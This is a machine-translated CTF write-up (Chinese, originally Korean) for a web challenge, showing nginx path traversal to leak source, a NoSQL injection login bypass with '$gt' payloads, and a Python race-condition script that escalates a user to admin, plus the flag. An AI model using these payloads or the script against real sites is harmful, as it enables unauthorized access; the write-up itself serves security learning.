2020 网络作战竞赛 - Intranet Writeup
利用 Nginx route 配置错误、NoSQL Injection 和 Race Condition 进行权限提升
本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。
阅读原文(韩语)|
题 目 |
分 类 |
分 数 |
|
|
1.3 Intranet |
web |
? |
|
|
在暴露的 敌国 生化 研究所 内部 网站中,夺取 管理员 权限,并以此 探索 内部 系统。 |
|||
|
解题步骤 |
|
||
|
答案 |
flag{This_is_top_secret_dont_you_agree} |
||
|
解 题 过 程 |
|||
![]() 存在 sign up / sign in 页面 ![]() 注册并登录后进入 mypage,可以看到 perm为 Guest。 ![]() 此时请求 /api/static/{:userid} ,结合服务器是 nginx这一点,可以推测可能存在错误的 route配置,从而导致 file leak。 ![]() 像这样请求 /api/static../User.js ,由于 nginx的错误 route配置,会跳出 static目录访问到原本无法访问的文件,从而获取服务器端代码。 const signin = (req, res) => { User .findOne({ userid: req.body.userid, password: req.body.password }) .then(user => { if (!user) { res.status(406); res.send(); } else { res.status(200); control .sign({ id: user.userid }) .then(tok => { res.send(JSON.stringify({ username: user.userid, token: tok }))} ); }}) .catch(err => { res.status(500); res.send(JSON.stringify({ reason: { html: err } })); }); };
查看服务器端代码中的登录部分,可以确认使用了 mongo db Model的 .findOne 方法,以用户提交的 id和 password作为 key进行检索。
但是,由于使用了 findOne 方法 + 服务器配置为 app.use( bodyParser.urlencoded({ extended: true }) ); ,用户可以直接传递 Object 对象。这导致了 nosql injection的产生, 像 {"userid":"admin","password":{"$gt":""}} 这样发送请求,即使不知道 admin的密码也能登录。
通过 nosql injection获取了 admin的 Token,将 local storage中的 Token 值替换为 adminToken,即可确认已作为 admin登录。
![]()
但是,在这个题目中,真正的管理员必须是 level=2 以上。 ![]()
![]()
这种情况下, auth 的行为有些奇怪,如果输入正确的 division_number,且当前连接账户的 level为 0时,会将该账户的 level提升 1 。 ![]()
division_number虽然未知,但同样可以通过 nosql injection来提升等级。
此外,该代码在 Division 模型中使用 findOne 函数查找值,然后使用 updateOne进行 update,由此推测如果快速发送两次该请求,可能会引发 race condition,从而有可能使 level增加两次。
#-*- coding:utf-8 -*- import requests import sys import time import re import string import datetime import json, os, sys, html, zlib from arang import * from concurrent.futures import ThreadPoolExecutor from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
packet='''POST http://3.35.40.133/api/signup HTTP/1.1 Host: 3.35.40.133 Connection: keep-alive Content-Length: 42 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Content-Type: application/json;charset=UTF-8 Origin: http://3.35.40.133 Referer: http://3.35.40.133/signup Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
'''
s = requests.session()
def raceCondition(args): global pp,s u = 'http://3.35.40.133/api/auth' data = {"division_number":{"$gt":""}} r = s.post(u, data=json.dumps(data), headers=pp.headers) print('--------------') print(r.content) print('--------------')
for i in range(1,1000): # signup pp = parsePacket(packet.format(i)) pp.proxies="127.0.0.1:8888" data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"} r = s.post(pp.url, data=json.dumps(data), headers=pp.headers) if r.status_code==200: # signin u = "http://3.35.40.133/api/signin" data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}} r = s.post(u, data=json.dumps(data), headers=pp.headers) if r.status_code==200: rj = json.loads(r.content) pp.headers['x-access-token'] = rj['token']
with ThreadPoolExecutor(3) as pool: t=[1,2,3,4,5] ret = [x for x in pool.map(raceCondition,t)]
通过上述触发 race condition的 Exploit 代码,可以将 level增加 2次 ![]() 实际上确认了 auth 请求执行了 2次,使用该账户登录时 ![]() 可以确认已经变成了 admin。 ![]() 获取 Flag |
|||











评论